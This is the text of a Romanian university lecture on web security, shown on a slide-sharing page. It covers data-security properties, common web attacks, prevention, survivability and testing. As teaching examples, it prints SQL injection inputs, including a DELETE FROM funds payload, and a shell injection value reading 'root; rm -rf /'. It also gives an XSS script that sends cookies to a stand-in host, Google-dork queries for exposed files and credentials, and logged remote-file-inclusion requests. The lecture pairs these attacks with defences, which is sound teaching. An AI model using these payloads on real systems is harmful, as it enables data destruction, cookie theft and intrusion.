STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uriSTAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uri
STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uriSabin Buraga
 
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScript
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScriptSTAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScript
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScriptSabin Buraga
 
STAW 08/12: Programare Web. Suita de tehnologii HTML5
STAW 08/12: Programare Web. Suita de tehnologii HTML5STAW 08/12: Programare Web. Suita de tehnologii HTML5
STAW 08/12: Programare Web. Suita de tehnologii HTML5Sabin Buraga
 
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)Sabin Buraga
 
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)Sabin Buraga
 

More from Sabin Buraga (20)

Web 2020 01/12: World Wide Web – aspecte arhitecturale
Web 2020 01/12: World Wide Web – aspecte arhitecturaleWeb 2020 01/12: World Wide Web – aspecte arhitecturale
Web 2020 01/12: World Wide Web – aspecte arhitecturale
 
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni Web
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni WebWeb 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni Web
Web 2020 02/12: Programare Web – HTTP. Cookie-uri. Sesiuni Web
 
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie Web
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie WebWeb 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie Web
Web 2020 03/12: Programare Web – Arhitectura aplicaţiilor Web. Inginerie Web
 
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP
Web 2020 04/12: Programare Web – Dezvoltarea aplicaţiilor Web în PHP
 
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...
Web 2020 05/12: Modelarea datelor. Familia XML. Extragerea datelor cu XPath. ...
 
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object Model
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object ModelWeb 2020 06/12: Procesarea datelor XML & HTML. Document Object Model
Web 2020 06/12: Procesarea datelor XML & HTML. Document Object Model
 
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...
Web 2020 07/12: Procesarea datelor XML & HTML – Simple API for XML. Procesări...
 
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...
Web 2020 08/12: Servicii Web. De la arhitecturi orientate spre servicii la SO...
 
Web 2020 09/12: Servicii Web. Paradigma REST
Web 2020 09/12: Servicii Web. Paradigma RESTWeb 2020 09/12: Servicii Web. Paradigma REST
Web 2020 09/12: Servicii Web. Paradigma REST
 
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...
Web 2020 10/12: Servicii Web. Micro-servicii. Serverless. Specificarea API-ur...
 
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...
Web 2020 11/12: Interacţiune Web asincronă. Aplicaţii Web de tip mash-up. JAM...
 
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţiale
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţialeSTAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţiale
STAW 02/12: Programare Web: Limbajul JavaScript. Aspecte esenţiale
 
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.
STAW 03/12: Programare Web: Limbajul JavaScript. Aspecte moderne: ES6 et al.
 
STAW 04/12: Programare Web: Node.js
STAW 04/12: Programare Web: Node.jsSTAW 04/12: Programare Web: Node.js
STAW 04/12: Programare Web: Node.js
 
STAW 05/12: Arhitectura navigatorului Web
STAW 05/12: Arhitectura navigatorului WebSTAW 05/12: Arhitectura navigatorului Web
STAW 05/12: Arhitectura navigatorului Web
 
STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uri
STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uriSTAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uri
STAW 06/12: JavaScript în navigatorul Web. De la DOM la Ajax şi mash-up-uri
 
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScript
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScriptSTAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScript
STAW 07/12: Ingineria dezvoltării aplicaţiilor JavaScript
 
STAW 08/12: Programare Web. Suita de tehnologii HTML5
STAW 08/12: Programare Web. Suita de tehnologii HTML5STAW 08/12: Programare Web. Suita de tehnologii HTML5
STAW 08/12: Programare Web. Suita de tehnologii HTML5
 
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)
STAW 09/12: Programare Web. API-uri JavaScript în contextul HTML5 (I)
 
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
STAW 10/12: Programare Web. API-uri JavaScript în contextul HTML5 (II)
 

Programare Web (Introducere in securitate)

  • 1. Tehnologii Web 2007 Programare Web Introducere in securitate Dr. Sabin-Corneliu Buraga Facultatea de Informatica Universitatea “A.I.Cuza” – Iasi, Romania http://www.infoiasi.ro/~busaco/ 1 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 2. Tehnologii Web 2007 cuprins • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 2 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 3. Tehnologii Web 2007 preliminarii • Incident de securitate ≡ eveniment aparut in cadrul retelei, cu implicatii asupra securitatii unui calculator sau a retelei – Provenind din interiorul ori exteriorul retelei – In cazul nostru, priveste serverul Web, clientul Web si/sau alte componente software aditionale (e.g., serverul de stocare a datelor) • Multe protocoale de baza ale Internetului (inclusiv HTTP) nu au luat in calcul vulnerabilitatile ce pot surveni • Cracker versus hacker 3 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 4. Tehnologii Web 2007 preliminarii • Vulnerabilitate ≡ slabiciune a unui sistem hardware/software ce permite utilizatorilor neautorizati sa aiba acces asupra sa • Nici un sistem nu este 100% sigur • Vulnerabilitatile apar si datorita proastei administrari 4 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 5. Tehnologii Web 2007 preliminarii • Cauzele existentei vulnerabilitatilor – Bug-uri (erori) existente in programe (script-uri, servere Web, navigatoare,...), introduse deseori neintentionat – Ignorarea/nedocumentarea bug-urilor existente (cunoscute) – Configurarea necorespunzatoare a programelor, serverelor si retelelor – Lipsa suportului din partea producatorilor – Comoditatea sau necunoasterea problemelor de securitate de catre administrator ori de conducerea organizatiei 5 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 6. Tehnologii Web 2007 aspecte • Aspecte privind securitatea datelor: –Confidentialitatea –Autentificarea –Autorizarea –Integritatea –Nerepudierea –Intimitatea (privacy) –Disponibilitatea 6 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 7. Tehnologii Web 2007 aspecte • Confidentialitatea – Imposibilitatea unei terte entitati sa aiba acces la datele vehiculate intre doi receptori – Solutii: • conexiuni private intre cele 2 puncte terminale ale canalului de comunicatie; datele circula printr-un tunel oferit de o retea privata virtuala (VPN – Virtual Private Network) • criptarea datelor via diverse tehnici (biblioteci specializate si/sau oferite de mediile de dezvoltare) 7 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 8. Tehnologii Web 2007 aspecte • Autentificarea – Mecanism ce permite utilizatorilor sa acceseze un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola) – Solutii: • serverul Web ofera suport pentru autentificari de baza sau bazate pe algoritmi de tip digest (e.g., MD5) • folosirea unor tehnici speciale la nivel de aplicatie 8 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 9. Tehnologii Web 2007 aspecte • Autorizarea – Specifica actiunile (rolurile) pe care un utilizator le poate realiza; asociata autentificarii – Se permite administratorului definirea politicilor de control al accesului la servicii – Solutii: • drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List) • controlul accesului bazat pe roluri (RBAC – Role-Based Access Control) • tehnici de tip SSO (Single Sign-On) – e.g., OpenID 9 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 10. Tehnologii Web 2007 aspecte • Integritatea –In acest context, implica detectarea incercarilor de modificare neautorizata a datelor transmise –Solutii: • algoritmi de tip digest • semnaturi digitale 10 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 11. Tehnologii Web 2007 aspecte • Nerepudierea – Expeditorul mesajului nu poate afirma ca nu l-a trimis – Solutie: certificate digitale • stocheaza datele privind identitatea unei entitati detinatoare a unui secret (parola, Infrastructura serie a cartii de credit, certif. digital,…) cu chei publice (PKI – Public • emise de o autoritate de certificare Key (CA – Certification Authority) Infrastruc.) • verificate de o autoritate de inregistrare (RA – Registration Authority) 11 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 12. Tehnologii Web 2007 aspecte • Disponibilitatea –O anumita resursa sa poata fi accesata la momentul oportun –Cauze ale indisponibilitatii: • atacuri de refuz al serviciilor DoS (Denial Of Service) • atacuri distribuite de tip DDoS (Distributed DoS) 12 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 13. Tehnologii Web 2007 aspecte • Intimitatea – Confundata, deseori, cu confidentialitatea – Vizeaza drepturile ce trebuie respectate privind caracterul (subiectul) datelor vehiculate – Brese: • stocarea necorespunzatoare a datelor la nivel de server (information disclosure) • atacuri de tip XSS (Cross-Site Scripting) • atacuri de tip phishing • configurarea necorespunzatoare a sistemelor 13 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 14. Tehnologii Web 2007 atacuri • Securitatea Web trebuia sa ia in consideratie: – Clientul: interactiune, date personale (cookie-uri), transferuri asincrone (via AJAX),… – Datele in tranzit: securitatea retelei, schimb sigur de mesaje, ne-repudiere – Serverul: securitatea serverului ori serverelor, securitatea aplicatiilor, disponibilitatea serviciilor • Atacurile pot viza oricare din cele 3 aspecte! 14 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 15. Tehnologii Web 2007 atacuri • SQL injection –Scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare Web ori direct prin intermediul URI-ului – Exemplu: select * from studs where name=$name and pass=$pass cu $name preluat din formular: '' or 1=1 -- – Exemplu: http://www.sit.org/access_client.php?client=3 in script: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://www.sit.org/access_client.php?client=client ? dar daca in loc de select era un delete? 15 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 16. Tehnologii Web 2007 atacuri • SQL injection – variatii – Crearea de interogari SQL incorecte pentru a avea acces la mesaje de eroare “interesante” – Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1 – Se poate obtine un mesaj precum: [Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’. SELECT group_id, securityName, maxSalesCharge, price, security_id, trade_date FROM funds WHERE group_id = 1 OR gh=1 ORDER BY price DESC – Atacatorul poate continua, de pilda, cu http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+-- – Solutii: proceduri stocate, neutralizarea meta-caracterelor SQL, prepared statements,… 16 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 17. Tehnologii Web 2007 atacuri • Shell command injection – Posibilitatea de a rula comenzi externe din cadrul script-urilor CGI – Exemplu: fie liniile Perl $utiliz = $form{quot;numequot;}; print `finger $utiliz`; – Ce se intimpla daca din formular se preia root; rm –rf / ? – Idem si pentru programe scrise in alte limbaje interpretate (e.g., PHP) sau chiar cele C – poisonous null-byte attack 17 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 18. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – “Injectarea” in cadrul sistemului, pentru executia direct in browser, a script-urilor JavaScript/VBScript • Functioneaza mai ales in cadrul siturilor Web permitind interactiunea cu utilizatorul (e.g., forumuri, blog-uri, wiki-uri) • Poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: Cross-Site Request Forgery 18 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 19. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – Exemplu: <img src=“javascript:cod” /> ce redirectioneaza utilizatorul spre alt sit, preia valori de cookie-uri ori blocheaza browser-ul – Alte exemple: <script> document.location.replace ( quot;http://www.sit.org/furt.phpquot; + quot;?c=quot; + document.cookie); </script> <script> for (i = 0; i < 3000; i++) window.open (quot;http://www.sit.org/quot;); </script> 19 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 20. Tehnologii Web 2007 atacuri • Cross-Site Scripting (XSS) – variatii – Folosirea de cod JavaScript pentru a modifica textul redat de navigatorul Web utilizatorului – Adoptarea de tehnici de social engineering: manipularea utilizatorilor de catre atacator (prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.) – Furtul de parole – Solutii: inhibarea folosirii tag-urilor HTML, HTML escaping, filtrarea marcatorilor, separarea prezentarii datelor de procesarea efectiva etc. 20 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 21. Tehnologii Web 2007 atacuri • O problema o pot cauza URI/IRI-urile (revezi cursul 1) – Exemplu: http://www.google.com@63. 241.3.69/ – Codificarea defectuoasa a codurilor hexa ⇒ vulnerabilitati in cadrul unor servere Web – Includerea caracterelor Unicode – probleme la decodificarea URL-urilor considerate “sigure” – Siturile avind domenii internationale (IDN – International Domain Names) – atacuri bazate pe homografie 21 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 22. Tehnologii Web 2007 atacuri • O alta problema: folosirea parolelor – 93% din procesele de autentificare folosesc parole – Cu cit utilizatorul trebuie sa retina mai multe parole, cu atit sistemul de protectie via parole e predispus la brese in securitate: • Alegerea unor parole slabe • Partajarea parolelor (grupuri de prieteni, colegi,...) • Scrierea parolelor pe hirtie (eventual, la vedere) • Folosirea unei aceleasi parole timp indelungat, pentru mai multe aplicatii/sisteme – Solutii: Single Sign-On (SSO), identificare biometrica etc. 22 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 23. Tehnologii Web 2007 atacuri • O alta problema: troienii Web – Situri (adrese) aparent folositoare – Se pot folosi in conjunctie cu XSS sau tehnici de tip social engineering – Solutie: implementarea unui sistem de tichete (ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data 23 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 24. Tehnologii Web 2007 atacuri • Detectarea posibilelor vulnerabilitati (datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor Web) se poate realiza apelind la un motor de cautare –Vezi si proiectul “Google Hack” Honeypot: http://ghh.sourceforge.net/ 24 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 25. Tehnologii Web 2007 atacuri • Exemple de actiuni: – Detectia versiunilor de programe avind bug-uri cunoscute: “Apache/2.0.52 server at” – Accesul la fisiere .bak: inurl:index.php.bak – Accesarea intranet-ului: intitle:intranet – “Vinarea” de e-mail-uri: “@gmail.com” –www.gmail.com – Detectarea paginilor de administrare: “admin login” – Gasirea unor instalari implicite: intitle:”welcome to” intitle:internet IIS – Localizarea interfetelor spre sistemele de baze de date: inurl:main.php phpMyAdmin 25 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 26. Tehnologii Web 2007 atacuri • Exemple de actiuni (continuare): – Localizarea siturilor bazate pe aplicatii Web recunoscute ca fiind vulnerabile: inurl:custva.asp – Cautarea de aplicatii instalate pe diverse masini sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs – Gasirea numelor de utilizatori: filetype:conf inurl:proftpd.conf –sample – Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: “ASP.NET_SessionId” “data source=” – Vezi si http://johnny.ihackstuff.com/ 26 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 27. Tehnologii Web 2007 prevenirea • Tehnici: – Nivelul retea: firewall-uri – Nivel de transport: TLS (Transport Layer Security) – autentificarea & confidentialitatea mesajelor HTTP • Autentificare via certificate digitale • Confidentialitate via criptare – Nivel de aplicatie: securitate persistenta a mesajelor vehiculate 27 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 28. Tehnologii Web 2007 prevenirea • Studiu de caz: consultarea fisierelor de jurnalizare 194.87.32.44 quot;GET /~sd/components/com_forum/download.php? phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1quot; 404 1015 83.169.102.168 quot;GET /~fl/An1/template.php? name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1quot; 404 1015 89.37.44.128 quot;GET /common/labs.xsl HTTP/1.1quot; 404 1192 84.9.62.22 quot;GET /edit.vip.tpe.yahoo.com/config/isp_verify_user? l=voodoostri&p=6969 HTTP/1.1quot; 404 1158 194.109.52.127 quot;GET /~ad/templates/pb/language/lang_nl.php? temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1quot; 404 1015 86.54.21.123 quot;GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 86.54.21.123 quot;GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614 &STRMVER=4&CAPREQ=0 HTTP/1.0quot; 404 1015 28 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 29. Tehnologii Web 2007 supravietuirea • Supravietuirea ≡ capacitatea unui sistem (calculator/retea) de a-si indeplini misiunea, in timp util, in pofida atacurilor, defectelor sau accidentelor • Atac ≡ eveniment potential distrugator provocat intentionat de persoane rau-voitoare • Defect ≡ eveniment potential distrugator cauzat de deficiente ale sistemului sau ale unui factor de care depinde sistemul (e.g., defecte hardware, bug-uri software, erori ale utilizatorilor) • Accident ≡ evenimente aleatoare (neprevazute); exemple: dezastre naturale sau caderi de tensiune 29 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 30. Tehnologii Web 2007 supravietuirea • Sistemul trebuie sa-si duca pina la capat misiunea chiar daca unele componente sau parti din sistem sint afectate ori scoase din uz – Exemplu: oferirea unei copii read-only a forumului de discutii sau blog-ului asociat unui domeniu/produs • Sistemul trebuie sa sustina macar indeplinirea functiilor vitale (mission-critical) – Identificarea serviciilor esentiale (e.g., acces la lista produselor in cazul unui sit de comert electronic) 30 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 31. Tehnologii Web 2007 supravietuirea • Proprietati ale sistemului: – Rezistenta la atacuri ≡ strategii de respingere a atacului (i.e. validarea obligatorie a datelor – via expresii regulate, scheme XML etc., autentificarea utilizatorilor, acordarea privilegiilor minime) – Recunoasterea atacurilor si efectelor lor ≡ strategii pentru restaurarea informatiilor, limi- tarea efectelor, mentinerea/restaurarea serviciilor compromise (e.g., recurgerea la ferme de servere Web – Web farms, RAID, SAN (Storage Area Network), backup-uri,...) – Adaptarea la atacuri ≡ strategii pentru imbunatatirea nivelului (sansei) de supravietuire (invatarea din greseli) 31 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 32. Tehnologii Web 2007 monitorizare & testare • Teste de verificare a: – Capacitatii de deservire a clientilor – Robustetei – Rularii in situatii extreme • Se iau in consideratie: – Tipul navigatorului (+setarile implicite) – Platforma (hardware, sistem de operare,...) – Interfata (rezolutia ecranului, adincimea de culoare, largimea de banda,...) – Politica de caching (+siguranta proxy-ului) – Suportul pentru redarea unor tipuri de documente (securitatea folosirii plugin-urilor) – Limbajul/limbajele de programare utilizate (inclusiv, serverul/serverele de aplicatii) 32 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 33. Tehnologii Web 2007 de retinut • Securitatea unei aplicatii Web: – Trebuie sa ia in consideratie arhitectura, logica, codul-sursa si continutul in ansamblu – Nu vizeaza vulnerabilitatile sistemului de operare ori ale programelor auxiliare • Vulnerabilitatile unui sit nu sint “celebre” si vor fi independente deseori de securitatea sistemului pe care este exploatat situl 33 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 34. Tehnologii Web 2007 de retinut • Tipuri de vulnerabilitati specifice: –Probleme de autentificare –Managementul sesiunilor –Injectarea de scripturi (XSS) ori comenzi SQL –Expunerea (involuntara) a informatiilor delicate (information disclosure) –Accesul la codul-sursa ori la fisierele de configurare a aplicatiei Web 34 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 35. Tehnologii Web 2007 de retinut • Riscurile de securitate nu vizeaza numai proprietarul sitului, ci si utilizatorul final • Disconforturi cauzate de un sit nesigur: – Financiare (pierdere de bani/informatii) – De performanta (blocarea navigatorului, incetinirea actiunilor,...) – Psihologice (insatisfactie) – Sociale (e.g., incapacitatea de munca, lipsa comunicarii cu partenerii de lucru etc.) – De timp (navigare greoaie, deturnare spre alt sit,...) 35 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 36. Tehnologii Web 2007 rezumat • Preliminarii • Aspecte privind securitatea datelor • Atacuri Web • Prevenirea & supravietuirea • Monitorizarea & testarea • De retinut 36 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
  • 37. Tehnologii Web 2007 Intrebari…? 37 Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/